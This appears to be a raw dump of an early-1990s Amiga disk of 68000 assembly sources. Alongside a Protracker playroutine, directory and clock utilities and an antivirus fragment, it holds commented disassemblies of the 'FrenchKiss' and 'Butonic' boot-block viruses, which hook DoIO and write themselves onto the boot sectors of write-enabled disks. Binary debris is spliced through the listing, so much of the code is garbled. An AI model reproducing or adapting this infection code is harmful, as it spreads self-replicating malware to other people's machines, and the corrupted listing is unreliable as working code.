00006A BSR START+$0876 00006E MOVE.L 4,A6 000072 LEA START+$0D12(PC),A0 'FiPONMba`_^]\[ZYXmlkjihgfedcxw J,I6 butonic300.Sp]P!4;------ Butonic 3.00 ------ ;28/06/91 000000 MOVE.L 4,A6 000004 BSR START+$016A 000008 BEQ.S START+$32 00000A MOVE.L #$00000276,D0 000010 MOVEQ.L #2,D1 000012 JSR _LVOAllocMem(A6) 000016 LEA START+$0B34(PC),A0 00001A MOVE.L D0,(A0) 00001C BEQ.S START+$32 00001E MOVE.L #$00000BB8,D0 000024 MOVE.L #$00010000,D1 00002A JSR _LVOAllocMem(A6) 00002E TST.L D0 000030 BNE.S START+$36 000032 CLR.L D0 000034 RTS 000036 ADD.L #$00000042,D0 00003C BRA START+$0116 000040 BSR START+$D2 000044%d# BSR START+$4C 000046 BSR START+$088E 00004A BRA.S START+$CA 00004C MOVE.L A1,-(SP) 00004E MOVE.L START+$0B34,A1 000052 LEA START+$08A6(PC),A0 000056 MOVE.W #$013A,D0 00005A MOVE.W (A0)+,(A1) 00005C EOR.W #$B4ED,(A1)+ 000060 DBRA D0,START+$5A 000064 MOVE.L (SP)+,A1 000066 RTS 000068 NOP 00006A NOP 00006C LEA START+0(PC),A1 000070 SUB.L #$00000036,A1 000076 MOVE.L #$00000BB8,D0 00007C MOVE.L 4,A6 000080 JSR _LVOAllocAbs(A6) 000084 MOVE.L START+$0B34,A1 000088 MOVE.L #$00000276, D0 00008E MOVEQ.L #2,D1 000090 JSR _LVOAllocAbs(A6) 000094 BSR START+$4C 000096 BSR START+$01C0 00009A BNE.S START+$A6 00009C CMP.B #$9D,$00BFEC01 0000A4 BEQ.S START+$B4 0000A6 LEA START+$0B2D(PC),A0 0000AA ADDQ.B #1,(A0) 0000AC MOVE.B (A0),D0 0000AE AND.B #15,D0 0000B2 BNE.S START+$B8 0000B4 BSR START+$083A 0000B8 MOVE.L 4,A6 0000BC LEA START+$0B2A(PC),A0 0000C0 MOVE.B #1,(A0) 0000C4 LEA $0005C0E4(PC),A0 0000C8 CLR.L (A0) 0000CA BSR START+$0136 0000CE CLR.L D0 0000D0 RTS 0000D2 LKWEA START+0(PC),A0 0000D6 SUB.L #$00000022,A0 0000DC MOVE.W #$4AFC,(A0) 0000E0 MOVE.L #$01210008,10(A0) 0000E8 MOVE.L A0,2(A0) 0000EC MOVE.L A0,$001A(A0) 0000F0 LEA $0005C0E4(PC),A1 0000F4 MOVE.L A1,6(A0) 0000F8 LEA START+$68(PC),A1 0000FC MOVE.L A1,$0016(A0) 000100 LEA $0005B5A0(PC),A1 000104 MOVE.L 4,A6 000108 MOVE.L A1,$0226(A6) 00010C JSR _LVOSumKickData(A6) 000110 MOVE.L D0,$022A(A6) 000114 RTS 000116 MOVE.L D0,A0 000118 LEA START+0(PC),A1 00011C MOVE.W #$0B3B,D1 000120 MOVE.B66 (A1)+,(A0)+ 000122 DBRA D1,START+$0120 000126 MOVE.L D0,A0 000128 LEA START+$40(PC),A1 00012C LEA START+0(PC),A2 000130 SUB.L A2,A1 000132 ADD.L A0,A1 000134 JMP (A1) 000136 MOVE.L 4,A6 00013A LEA START+$0B1C(PC),A0 00013E MOVE.L -$01C6(A6),D0 000142 LEA START+0(PC),A1 000146 CMP.L A1,D0 000148 BCS.S START+$0154 00014A ADD.L #$00000B3C,A1 000150 CMP.L A1,D0 000152 BCS.S START+$0158 000154 MOVE.L D0,2(A0) 000158 LEA START+$01D4(PC),A0 00015C MOVE.L A0,D0 00015E MOVE.L #$FFFFFE38,A0%:V 000164 MOVE.L A6,A1 000166 JMP -$01A4(A6) 00016A MOVE.L $0226(A6),A0 ;kicktagptr 00016E MOVE.L (A0),A0 000170 CMP.L #$81210301,10(A0) ;detourne ? 000178 BEQ.S START+$0184 ;oui 00017A MOVE.L $0016(A0),A0 00017E MOVE.L START+$68,D0 000182 CMP.L (A0),D0 000184 RTS 000186 CLR.L $002A(A6) ;coldcapture 00018A CLR.L $002E(A6) ;coolcapture 00018E MOVE.W #$0017,D0 ;chksum execbase 000192 LEA $0022(A6),A0 000196 CLR.W D1 000198 ADD.W (A0)+,D1 00019A DBRA D0,START+$0198 00019E NEG.WU" D1 0001A0 SUBQ.W #1,D1 0001A2 MOVE.W D1,(A0) ;new chksum 0001A4 LEA START+$01C0(PC),A0 0001A8 MOVEQ.L #0,D1 0001AA MOVE.W #$0255,D0 0001AE ADD.L (A0)+,D1 0001B0 DBRA D0,START+$01AE ;chksum virus $1c0->$b18 0001B4 CMP.L #$758E4745,D1 ;ok? 0001BA BNE START+$0B22 ;non 0001BE RTS 0001C0 BTST #6,$00BFE001 0001C8 BNE.S START+$01D2 0001CA BTST #10,$00DFF016 0001D2 RTS 0001D4 BSR START+$01C0 0001D6 BNE.S START+$0234 0001D8 CMP.B #$37,$00BFEC01 0001E0 BNE.S START+$0234 0001E2 MOVEe.W #$4FFF,D0 0001E6 MOVE.W #$0050,$00DFF180 0001EE MOVE.B $00BFEC01,D1 0001F4 CMP.B #$33,D1 0001F8 BEQ.S START+$0204 0001FA CMP.B #$37,D1 0001FE BNE.S START+$0204 000200 DBRA D0,START+$01E6 000204 CMP.B #$33,D1 000208 BNE.S START+$0234 00020A MOVE.W #$0FFF,D0 00020E MOVE.W #$00F0,$00DFF180 000216 DBRA D0,START+$020E 00021A LEA START+$0B1C(PC),A0 00021E MOVE.L 2(A0),-$01C6(A6) 000224 CLR.L $0226(A6) 000228 JSR _LVOSumKickData(A6) 00022C MOVE.L D0,$022A(A6) 000230 BRA START+$0B1C 000 ?ʟ<234 LEA START+$0B2D(PC),A0 000238 ADDQ.B #3,(A0) 00023A MOVE.B $00DFF007,D0 000240 EOR.B D0,(A0) 000242 CMP.B #2,$001D(A1) 000248 BNE START+$0B1C 00024C BSR START+$0186 000250 CMP.L #$0006E000,$002C(A1) ;rootblock 000258 BNE START+$0B1C 00025C MOVEM.L D0-D7/A0-A6,-(SP) 000260 LEA $0005B586(PC),A0 000264 MOVEM.L $001C(A1),D0-D4 00026A MOVEM.L D0-D4,-$0014(A0) 000270 BSR START+$016A 000274 BEQ.S START+$027E 000276 EXG A1,A5 000278 BSR START+$0100 00027C EXG A5,A1 00027E LEA START+$0B2  YB(PC),A0 000282 ADD.B #1,(A0) 000286 MOVE.L $0018(A1),A0 ;unit 00028A MOVE.B $0041(A0),$00BFD100 000292 BTST #3,$00BFE001 ;write protect? 00029A BEQ.S START+$02B4 00029C BSR START+$4C 0002A0 BSR START+$07DE 0002A4 LEA START+$0B2A(PC),A0 0002A8 TST.B (A0) 0002AA BEQ.S START+$02B8 0002AC CLR.W (A0) 0002AE BSR START+$088E 0002B2 BRA.S START+$02D4 0002B4 BRA START+$0748 0002B8 LEA $00BFEC01,A2 0002BE CMP.B #$33,(A2) ;amiga G 0002C2 BEQ.S START+$02CC 0002C4 CMP.B #2,1(A0) 0002CA  wDBCS.S START+$02B4 0002CC CLR.W (A0) 0002CE CMP.B #$3F,(A2) ;shift G 0002D2 BEQ.S START+$02B4 0002D4 MOVE.L #$00000800,D0 0002DA MOVE.L #$00010002,D1 0002E0 MOVE.L A1,A2 0002E2 JSR _LVOAllocMem(A6) 0002E6 TST.L D0 0002E8 BEQ START+$0748 0002EC MOVE.L D0,D7 ;buffer1 0002EE MOVE.L #$000007D0,D0 0002F4 MOVE.L #$00010000,D1 0002FA JSR _LVOAllocMem(A6) 0002FE MOVE.L A2,A1 000300 TST.L D0 000302 BEQ START+$073C 000306 MOVE.L D0,D6 ;buffer2 000308 ADD.L #$00000708,D0 00030E LEA $0005C0E  [ sI6 coolcap.Sp sLJ move.l $4.w,a6 move.l 42(a6),a0 move.l 46(a6),a1 move.l 50(a6),a2 move.l 546(a6),a3 move.l 550(a6),a5 rts qI6UVK...I6I5 .  (. I6crypt.Sp w;---- Data Crypter ---- >extern"df1:secret",$40000 lea Code,a1 move.l a1,a2 CodeLp: move.b (a1)+,d0 beq.s ECode cmp.b #" ",d0 blo.s End cmp.b #127,d0 bhi.s End cmp.b #"a",d0 blo.s CodeLp cmp.b #"z",d0 bhi.s CodeLp sub.b #$20,-1(a1) bra.s CodeLp ECode: move.l EndT,d1 subq #1,d1 move.l Text,a0 CodLp: move.b (a2)+,d0 bne.s OkCod lea Code,a2 bra.s CodLp OkCod: eor.b d0,(a0)+ dbf d1,CodLp End: moveq #0,d0 rts code: dc.b "PlouF",0 Text: dc.l $40000 EndT: dc.l $2e6 H]VUTSI6dir.SpS2 ;------ Directory ------ move.l $4.w,a6 move.l #300,d0 move.l #$10003,d1 jsr -198(a6) ;allocmem move.l d0,Fileinfo beq.L End2 add.l #4,d0 and.l #$fffffffc,d0 ;long word aligned move.l $4.w,a6 lea Dosname,a1 moveq #0,d0 jsr -552(a6) move.l d0,Dosbase move.l Dosbase,a6 move.l #Name,d1 ;nom move.l #-2,d2 ;mode lecture jsr -84(a6) ;lock move.l d0,Locksav move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -102(a6) ;examine jsr -60(a6) move.l d0,HandmDCBRQW XI6 dir2.SpW^R،;------ Directory ------ clr.l d5 move.l d5,d7 clr.b OptaF lea Name,a0 OptaLp: cmp.b #"*",(a0)+ beq.s Opta tst.b (a0) bne.s OptaLp bra.s OptaPt Opta: tst.b (a0) bne.s OptaPt move.b #1,OptaF clr.b -1(a0) OptaPt: move.l $4.w,a6 move.l #300,d0 move.l #$10003,d1 jsr -198(a6) ;allocmem tst.l d0 beq.L End2 add.l #4,d0 and.l #$fffffffc,d0 ;long word aligned move.l d0,Fileinfo move.l $4.w,a6 lea Dosname,a1 moveq #0,d0 jsr -552(a6) move.l d0,Dosbase move.l Dosbasm6IHGFEL I6 gdir3.SpL$;------ Directory ------ move.l $4.w,a6 move.l #300,d0 move.l #$10003,d1 jsr -198(a6) ;allocmem tst.l d0 beq.L End2 add.l #4,d0 and.l #$fffffffc,d0 ;long word aligned move.l d0,Fileinfo move.l $4.w,a6 lea Dosname,a1 moveq #0,d0 jsr -552(a6) move.l d0,Dosbase move.l dosbase,a6 move.l #name,d1 move.l #-2,d2 jsr -84(a6) move.l d0,locksav move.l d0,root move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -102(a6) ;examine jsr -60(a6) move.l d0,Handle F#JI5 frenchkiss.Sp;------- FrenchKiss ------- dc.b 'DOS',0 dc.l $98D7EB5F,$370 00000C MOVEM.L D0-D7/A0-A6,-(SP) 000010 MOVE.W #$4000,$00DFF096 ;interr off 000018 MOVE.W #$4000,$00DFF09A 000020 MOVE.W #2,$001C(A1) 000026 MOVE.L #$00000600,$0024(A1) len 00002E MOVE.L #$0007F4D0,$0028(A1) ;buffer 000036 MOVE.L #$00000400,$002C(A1) ;offset 00003E JSR _LVODoIO(A6) ;read boot 000042 MOVE.W #$0301,$0007FD50 00004A MOVE.W #$5000,$0007FD52 000052 MOVE.L #$0007F0D0,A1 ;copie en ram 000058 LEA START+0(PC),<ڿA0 00005C MOVE.W #$0400,D0 ;len=1025 (err!) 000060 MOVE.B (A0)+,(A1)+ 000062 DBRA D0,START+$60 000066 MOVE.L 4,A6 00006C MOVE.L -$01C6(A6),A0 ;old doio 000070 MOVE.L A0,$0007F4EE 000076 MOVE.L $0094(A6),A0 ;old raster 00007A MOVE.L A0,$0007F4E8 000080 MOVE.L #$0007F276,-$01C6(A6) ;new doio 000088 MOVE.W #$C000,$00DFF096 ;inter on 000090 MOVE.W #$C000,$00DFF09A 000098 MOVEM.L (SP)+,D0-D7/A0-A6 00009C JMP $0007F6DC 0000A2 MOVE.W #$5000,$0007FD52 0000AA MOVE.L #$0007F1B4,$0094(A6) MY0000B2 MOVE.W #$4000,$00DFF096 ;inter on 0000BA MOVE.W #$4000,$00DFF09A 0000C2 CLR.L $002E(A6) ;coolcap 0000C6 CLR.L $002A(A6) ;coldcap 0000CA CLR.L $0226(A6) ;kicktagptr 0000CE CLR.L $022A(A6) ;kickmem 0000D2 MOVE.W #$C000,$00DFF096 ;inter off 0000DA MOVE.W #$C000,$00DFF09A 0000E2 RTS ;new $94(a6) 0000E4 MOVEM.L D0-D7/A0-A6,-(SP) 0000E8 MOVE.L 4,A6 0000EE MOVE.L #$0007F51E,$0000006C 0000F8 MOVE.L #$0007F276,-$01C6(A6) 000100 TST.W $0007FD52 000106 BNE START+$0116 00010A MOVE.QW #$2020,$00DFF096 000112 BRA START+$011C 000116 SUBQ.W #1,$0007FD52 00011C CMP.L #$0007F172,$002E(A6) ;detournee ? 000124 BEQ START+$014C 000128 CMP.B #$31,$00BFEC01 ;touche amiga D 000130 BEQ START+$014C ;oui 000134 CMP.B #$39,$00BFEC01 ;touche ctrl 00013C BEQ START+$014C ;oui 000140 CMP.B #$33,$00BFEC01 ;touche amiga G 000148 BNE START+$016E ;sinon 00014C MOVE.L #$0007F172,$002E(A6) ;coolcapture 000154 MOVEQ.L #0,D1 000156 LEA $0022(A6),A0 ;checksum execbase 00015A MOVE.WB #$0016,D0 00015E ADD.W (A0)+,D1 000160 DBRA D0,START+$015E 000164 NOT.W D1 000166 MOVE.W D1,$0052(A6) 00016A BRA START+$019E 00016E MOVE.W #$4000,$00DFF096 ;interrupt off 000176 MOVE.W #$4000,$00DFF09A 00017E CLR.L $002E(A6) 000182 CLR.L $002A(A6) 000186 CLR.L $0226(A6) 00018A CLR.L $022A(A6) 00018E MOVE.W #$C000,$00DFF096 ;interr on 000196 MOVE.W #$C000,$00DFF09A 00019E MOVEM.L (SP)+,D0-D7/A0-A6 0001A2 JMP $0005A8F6 ;new doio 0001A6 BTST #10,$00DFF016 ;bouton droit 0001AE BNE jiSTART+$01C6 0001B2 CMP.B #$A8,$00BFEC01 ;touche mu/livre 0001BA BNE START+$01C6 0001BE EOR.B #2,$00BFE001 ;led 0001C6 MOVE.L #$0007F1B4,$0094(A6) ;new raster 0001CE MOVE.L #$0007F51E,$0000006C ;new irq 0001D8 CMP.B #3,$001D(A1) ;write? 0001DE BEQ START+$0380 0001E2 CMP.B #2,$001D(A1) 0001E8 BNE START+$029C 0001EC CMP.L #$00000200,$0024(A1) 0001F4 BEQ START+$0204 0001F8 CMP.L #$00000400,$0024(A1) 000200 BNE START+$029C 000204 TST.L $002C(A1) 000208 BNE START+$029C 00020C TST.L $00#28(A1) ;boot? 000210 BEQ START+$029C 000214 MOVE.L $0028(A1),$0007FD02 ;sauve offset 00021C MOVE.L $0024(A1),$0007FD06 ;sauve len 000224 MOVE.L $0020(A1),$0007FD0E ;oi actual 00022C MOVE.L $0018(A1),A0 ;unit 000230 MOVE.B $0041(A0),$00BFD100 ;valeur pour $bfd100 000238 BTST #3,$00BFE001 ;write protect ? 000240 BEQ START+$024C ;oui 000244 MOVE.B #1,$0007FD20 ;flag 00024C MOVE.L #$0007F6D0,$0028(A1) ;buffer 000254 MOVE.W #2,$001C(A1) ;read 00025A MOVE.L #$00000400,$0024(A1) ;len 000262 MOVE.L #0,$002C(A1) ;offset=boot 00026A JSR $0005A8FC ;doio 00026E MOVE.B $0007F7AC,D5 000274 CMP.B $0007F1AC,D5 00027A BNE START+$02A0 00027E MOVE.L $0007FD02,$0028(A1) 000286 MOVE.W #2,$001C(A1) 00028C MOVE.L #$00000400,$0024(A1) 000294 MOVE.L #$00000600,$002C(A1) 00029C JMP $0005A8FC ;doio 0002A0 TST.B $0007FD20 ;flag wr protect 0002A6 BEQ START+$035E 0002AA SUB.B #1,$0007FD50 0002B2 TST.B $0007FD51 0002B8 BEQ $0005A996 0002BC TST.B $0007FD50 0002C2 BNE START+$02F6 00 9+02C6 MOVE.L #$0006E000,$0007F3E8 0002D0 MOVE.L #$0006E000,$0007F402 0002DA MOVE.L #$0006E000,$0007F4A0 0002E4 MOVE.L #$0006E000,$0007F4BA 0002EE SUB.B #1,$0007FD51 0002F6 CLR.B $0007FD20 0002FC JSR $0005A902 000300 MOVE.L #$0007F0D0,$0028(A1) ;buffer 000308 MOVE.W #3,$001C(A1) ;write 00030E MOVE.L #$00000A00,$0024(A1) ;len=5 secteur (boot+3) 000316 MOVE.L #0,$002C(A1) ;offset 00031E JSR $0005A8FC ;doio 000322 MOVE.W #4,$001C(A1) ;update 000328 MOVE.L #$00000A00,$0024(A1) ;len 000 cq330 MOVE.L #0,$002C(A1) ;boot 000338 JSR $0005A8FC ;doio 00033C MOVE.W #2,$001C(A1) 000342 MOVE.L $0007FD02,$0028(A1) ;restore buffer 00034A MOVE.L #$00000600,$002C(A1) ; 000352 MOVE.L $0007FD06,$0024(A1) 00035A JMP $0005A8FC 00035E MOVE.L $0007FD02,$0028(A1) ;restore buffer 000366 MOVE.W #2,$001C(A1) ;read 00036C MOVE.L $0007FD06,$0024(A1) ;restore len 000374 MOVE.L #0,$002C(A1) ;boot 00037C JMP $0005A8FC 000380 MOVE.L $0028(A1),$0007FD02 ;sauve buffer 000388 CMP.L #$0000020 Jw^0,$0024(A1) ;1 secteur? 000390 BEQ START+$03A0 000394 CMP.L #$00000400,$0024(A1) ;2 secteur? 00039C BNE START+$029C 0003A0 TST.L $002C(A1) ;boot? 0003A4 BNE START+$029C 0003A8 BTST #3,$00BFE001 ;write protect ? 0003B0 BEQ START+$029C 0003B4 JSR $0005A902 0003B8 MOVE.L #$0007F0D0,$0028(A1) ;buffer virus 0003C0 MOVE.W #3,$001C(A1) ;write 0003C6 MOVE.L #$00000A00,$0024(A1) ;len 0003CE MOVE.L #0,$002C(A1) ;boot 0003D6 JSR $0005A8FC ;doio 0003DA MOVE.W #4,$001C(A1) ;update 0003E0 MO !`!I5boptp rbl,x(nC#AzNA4 AC0"B"l$i=<;PONMLKJIq##^ q$%aGK%I5!proc.Sp$Kos3;----- Multitask ----- code run1: move.l $4.w,a6 sub.l a1,a1 jsr -294(a6) move.l d0,a4 ;current task lea Doslib,a1 moveq #0,d0 jsr -552(a6) move.l d0,Dosbase lea run1-4(pc),a0 move.l (a0),Segment ;segment pour CreateProc clr.l (a0) ;coupe de la liste move.l 172(a4),a1 ;pr_cli add.l a1,a1 add.l a1,a1 ;*4 (BCPL) move.l 60(a1),a2 ;cli_module add.l a2,a2 add.l a2,a2 ;*4 (BCPL) ; clr.l (a2) ;coupe du cli move.l #name,d1 ;nom moveq #0,d2 ;pri move.l #Run2,d3 &'],7'I5proc2.sp&7Pbnv;----- Multitask ----- section part1,code run1: move.l $4.w,a6 move.l $114(a6),a4 lea doslib,a1 lea $17a(a6),a0 jsr -276(a6) lea dosbase,a0 move.l d0,(a0) lea run1-4,a0 lea segment,a1 move.l (a0),(a1) ;segment pour CreateProc clr.l (a0) ;coupe de la liste move.l 172(a4),a1 ;pr_cli add.l a1,a1 add.l a1,a1 ;*4 (BCPL) move.l 60(a1),a2 ;cli_module add.l a2,a2 add.l a2,a2 ;*4 (BCPL) clr.l (a2) ;coupe du cli lea name,a0 move.l a0,d1 ;nom moveq #0,d2 ;pri l()!\A)YI5 proc2b.sp(A%(;----- Multitask ----- section part1,code run1: move.l $4.w,a6 move.l $114(a6),a4 lea doslib,a1 lea $17a(a6),a0 jsr -276(a6) move.l d0,dosbase lea run1-4,a0 move.l (a0),segment ;segment pour CreateProc clr.l (a0) ;coupe de la liste move.l 172(a4),a1 ;pr_cli add.l a1,a1 add.l a1,a1 ;*4 (BCPL) move.l 60(a1),a2 ;cli_module add.l a2,a2 add.l a2,a2 ;*4 (BCPL) clr.l (a2) ;coupe du cli move.l #name,d1 ;nom moveq #0,d2 ;pri move.l #Run2,d3 subq #4,d3 lsr.l #2,*+5-,+I5 Kreboot.S2p*,fD}J;----- Reboot routine ----- move.l 4.w,a6 clr.l $70000 lea OpenDev+2,a0 move.l -442(a6),(a0) lea $60000,a1 move.l a1,d2 lea NewOpD,a0 move.l a0,d3 move.l #ENewOpD-NewOpD,d1 subq #1,d1 CopyLp: move.b (a0)+,(a1)+ dbf d1,CopyLp move.l #Prg,d0 sub.l d3,d0 add.l d2,d0 move.l d0,Jmp move.l 4.w,a6 move.l 550(a6),d0 beq.s NoResS bset #31,d0 move.l d0,struct+4 NoResS: move.l #struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum rts Str*-@uct: dc.l resid dc.l $0000000 resid: dc.w $4afc ;MatchWord dc.l resid ;MatchTag dc.l resid+$20 ;EndSkip dc.b $01 ;Flags dc.b $21 ;Version dc.b $00 ;Type dc.b $F6 ;Pri dc.l name ;Name dc.l 0 Jmp: dc.l 0 ;Prg name: dc.b "UVK ReBoot ",0 NewOpD: cmp.b #"t",(a0) ;a0/d0/a1/d1 bne.s OpenDev cmp.b #"r",1(a0) bne.s OpenDev cmp.b #"a",2(a0) bne.s OpenDev movem.l d6/d7,-(a7) move.l Drive(pc),d7 move.l d0,d6 beq.s ChgDr cmp.l d6,d7 bne.s EOpD moveq #0,d7 ChgDr: *exg d6,d7 EOpD: move.l d6,d0 bne.s end1 move.l d0,-(a7) move.l OpenDev+2(pc),d0 bsr.s SetFunc move.l (a7)+,d0 end1: movem.l (a7)+,d6/d7 OpenDev:dc.w $4ef9,0,0 Drive: dc.l 1 Prg: movem.l d0-d7/a0-a6,-(a7) lea NewOpD(pc),a0 move.l a0,d0 bsr.L SetFunc move.l 4.w,a6 clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) movem.l (a7)+,d0-d7/a0-a6 rts SetFunc:move.l 4.w,a6 move.l a6,a1 move.l #-444,a0 jsr -420(a6) ;Setfunc rts ENewOpD: ata move.l d0,554(a6) ;KickTagSum rts Str.// [ +*)('&%$#"!6543210/.-,@?>=<;:98/XTNj pt-replay.Sp.8k9;******************************************** ;* ----- Protracker V1.1A Playroutine ----- * ;* Lars "Zap" Hamre/Amiga Freelancers 1990 * ;* Bekkeliveien 10, N-2010 STRMMEN, Norway * ;******************************************** >extern"dh0:modules/mod.tol erassea",mt_data ; VBlank Version A: ; Call mt_init to initialize the routine, then call mt_music on ; each vertical blank (50 Hz). To end the song and turn off all ; voices, call mt_end. ; This playroutine is not very fast, op01+ꨅ1I6J tstdrive.Sp0a move.l 4,a6 Loop: move.b #$f7,$bfd100 btst #6,$bfe001 beq.s fin btst #5,$bfe001 bne.s Loop Loop2: btst #7,$bfd100 beq.s Loop2 move.w #$f00,$dff180 move.b $bfe001,d1 fin:; jsr -138(a6) rts "*$(qI6UVK...I6I5 .2H3Ya 3+bLuvk1.22p42r;----------- UVK 1.22 ----------- ;06/03/91 By Amiguy >extern"l/disk-validator",diskvalid ; lea param,a0 ; moveq #2,d0 move.l d0,LenPara move.l a0,Para Main: clr.b AllRight bsr.L WbStart move.l 4.w,a6 lea Dosname,a1 moveq #0,d0 jsr -552(a6) move.l d0,Dosbase beq.L EndK move.l 4.w,a6 move.l -406(a6),IrqOpenLib move.l Dosbase,a6 ;tst Xeno virus move.l -28(a6),a0 cmp.l #$b47c03ee,(a0) bne.s NoXeno move.l -148(a6),a0 cmp.l #$3ed,12(a0) bne.s NoXeno move.l -82(a6),4H`_^]\qponmlkjihg|{zyxwvutsr~}255XWVUTSRQfedcba267qYg7IvCLOCK.Sp6U1;----- Clock ----- lea $dc0000,a1 lea ClockE,a0 moveq #2,d0 moveq #%1111,d1 ClkLP: move.l (a1)+,d2 and.l d1,d2 add.b #"0",d2 move.b d2,-(a0) move.l (a1)+,d2 and.l d1,d2 add.b #"0",d2 move.b d2,-(a0) subq #1,a0 dbf d0,ClkLp rts ClockT: dc.b "HH:MM:SS" ClockE: 8Iuclock.Sp8:fyE:IuFUN.Sp9; 8;Jj STRANGE.Sp8 z;----- Clock ----- Loop: btst #10,$dff016 bne.s Hop bsr.s Fun hop: btst #6,$bfe001 bne.s Loop rts Fun: btst #10,$dff016 beq.s Fun tst.l $c80000 rts 7Iuclock.Sp9p;------ Strange ------ lea $c80000,a0 lea nil,a1 move.l #15,d0 ;10-32 Loop: move.l (a0)+,(a1) dbf d0,loop rts nil: dc.l 0 XÃc`aagaffgfff၀afagfg`1a`fa<=i=(KvCMP.Sp<(/d ;---------- CMP --------- moveq #0,d0 moveq #0,d1 lea $40000,a0 lea $41000,a1 lea $50000,a2 move.w #1023,d2 Loop: moveq #0,d3 move.b (a0)+,d3 cmp.b (a1)+,d3 beq.s SameB move.l a0,(a2) subq.l #1,(a2)+ addq #1,D0 ;different dbf d2,Loop SameB: addq #1,D1 ;same dbf d2,Loop rts ffgfff၀afagfg`1a`fa>A(AN codesong.Sp?.@̯be@VeN^ pt-replay2.Sp?PK;******************************************** ;* ----- Protracker V1.1A Playroutine ----- * ;* Lars "Zap" Hamre/Amiga Freelancers 1990 * ;* Bekkeliveien 10, N-2010 STRMMEN, Norway * ;******************************************** >extern"dh0:mod.code2",mt_data ; mt_chanXtemp offsets n_note = 0 ; W n_cmd = 2 ; W n_cmdlo = 3 ; low B of n_cmd n_start = 4 ; L n_length = 8 ; W n_loopstart =10 ; L n_replen =14 ; W n_period =16 ; W n_finetune =18 ; B n_volume =19 ; B n_dmabit =20 ; W>K e;****************** ;* Song encoding * ;****************** >extern"dh0:modules/mod.tol erassea",mt_data LEA mt_data,A0 MOVE.L A0,A1 LEA $3B8(A1),A1 ;patterns MOVEQ #127,D0 MOVEQ #0,D1 mtloop:MOVE.L D1,D2 SUBQ.W #1,D0 mtloop2:MOVE.B (A1)+,D1 CMP.B D2,D1 ;nb pattern-1 BGT mtloop DBRA D0,mtloop2 LEA $43C(A0),A1 ;debut song loop2: MOVE.L #256,D0 ;len=1024 loop1: EOR.L #"TOTO",(A1)+ ;code DBF D0,loop1 DBF D2,loop2 ;next pattern RTS mt_data: blk.b 245000 205,1BC\&C\`proc3.SpBqɓ;----- Multitask ----- section part1,code run1: move.l $4.w,a6 sub.l a1,a1 jsr -294(a6) move.l d0,a4 lea doslib,a1 moveq #0,d0 jsr -552(a6) move.l d0,dosbase moveq #0,d1 move.l dosbase,a6 jsr -126(a6) move.l d0,cd move.l dosbase,a6 move.l cd,d1 jsr -96(a6) lea run1-4,a0 move.l (a0),d3 ;segment pour CreateProc move.l d3,segment clr.l (a0) ;coupe de la liste ; move.l 172(a4),a1 ;pr_cli ; add.l a1,a1 ; add.l a1,a1 ;*4 (BCPL) ; move.l 60(a1),a2 ;cli_module ; :~O dosbase,a1 jsr -414(a6) move.l #0,d0 rts section part2,code Run2: bsr.w main move.l dosbase,a6 move.l segment,d1 jsr -156(a6) rts name: dc.b "own.proc",0 doslib: dc.b "dos.library",0 even segment:dc.l 0 dosbase:dc.l 0 cd: dc.l 0 main: move.w $dff006,$dff184 btst #10,$dff01N X~O dosbase,a1 jsr -414(a6) move.l #0,d0 rts section part2,code Run2: bsr.w main move.l dosbase,a6 move.l segment,d1 jsr -156(a6) rts name: dc.b "own.proc",0 doslib: dc.b "dos.library",0 even segment:dc.l 0 dosbase:dc.l 0 main: move.w $dff006,$dff184 btst #10,$dff016 bne.s ma?.k5,725,684,646,610,575,543,513,484,457 dc.w 431,407,384,363,342,323,305,288,272,256,242,228 dc.w 216,203,192,181,171,161,152,144,136,128,121,114 mt_chan1temp: dc.l 0,0,0,0,0,$00010000,0, 0,0,0,0 mt_chan2temp: dc.l 0,0,0,0,0,$00020000,0, 0,0,0,0 mt_chan3temp: dc.l 0,0,0,0,0,$00040000,0, 0,0,0,0 mt_chan4temp: dc.l 0,0,0,0,0,$00080000,0, 0,0,0,0 mt_SampleStarts:dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mt_SongDataPtr: dc.l 0 mt_speed: dc.b 6 mt_co?/7Funter: dc.b 0 mt_SongPos: dc.b 0 mt_PBreakPos: dc.b 0 mt_PosJumpFlag: dc.b 0 mt_PBreakFlag: dc.b 0 mt_LowMask: dc.b 0 mt_PattDelTime: dc.b 0 mt_PattDelTime2:dc.b 0 dc.b 0 mt_PatternPos: dc.w 0 mt_DMACONtemp: dc.w 0 mt_data: blk.b 245000 ;/* End of File */ MP.B mt_counter(PC),D0 BNE mt_Return2 CLR.B n_volume(A6) MOVE.W #0,8(A5) RTS mt_NoteDelay: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_Counter,D0 BNE mt_Return2 MOVE.W (A6),D0 BEQ mt_Return2 MOVE.L D1,-?#vиԫop mt_SetLoop: MOVE.W mt_PatternPos(PC),D0 LSR.W #4,D0 MOVE.B D0,n_pattpos(A6) RTS mt_SetTremoloControl: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 LSL.B #4,D0 AND.B #$0F,n_wavecontrol(A6) OR.B D0,n_wavecontrol(A6) RTS mt_RetrigNote: MOVE.L D1,-(SP) MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BEQ mt_rtnend MOVEQ #0,D1 MOVE.B mt_counter(PC),D1 BNE mt_rtnskp MOVE.W n_note(A6),D1 AND.W #$0FFF,D1 BNE mt_rtnend MOVEQ #0,D1 MOVE.B mt_counter(PC),D1 mt_rtnskp: DIVU D?$wx]K0,D1 SWAP D1 TST.W D1 BNE mt_rtnend mt_DoRetrig: MOVE.W n_dmabit(A6),$DFF096 ; Channel DMA off MOVE.L n_start(A6),(A5) ; Set sampledata pointer MOVE.W n_length(A6),4(A5) ; Set length MOVE.W #300,D0 mt_rtnloop1: DBRA D0,mt_rtnloop1 MOVE.W n_dmabit(A6),D0 BSET #15,D0 MOVE.W D0,$DFF096 MOVE.W #300,D0 mt_rtnloop2: DBRA D0,mt_rtnloop2 MOVE.L n_loopstart(A6),(A5) MOVE.L n_replen(A6),4(A5) mt_rtnend: MOVE.L (SP)+,D1 RTS mt_VolumeFineUp: TST.B mt_counter BNE mt_Return2 M?%xҝHOVEQ #0,D0 MOVE.B 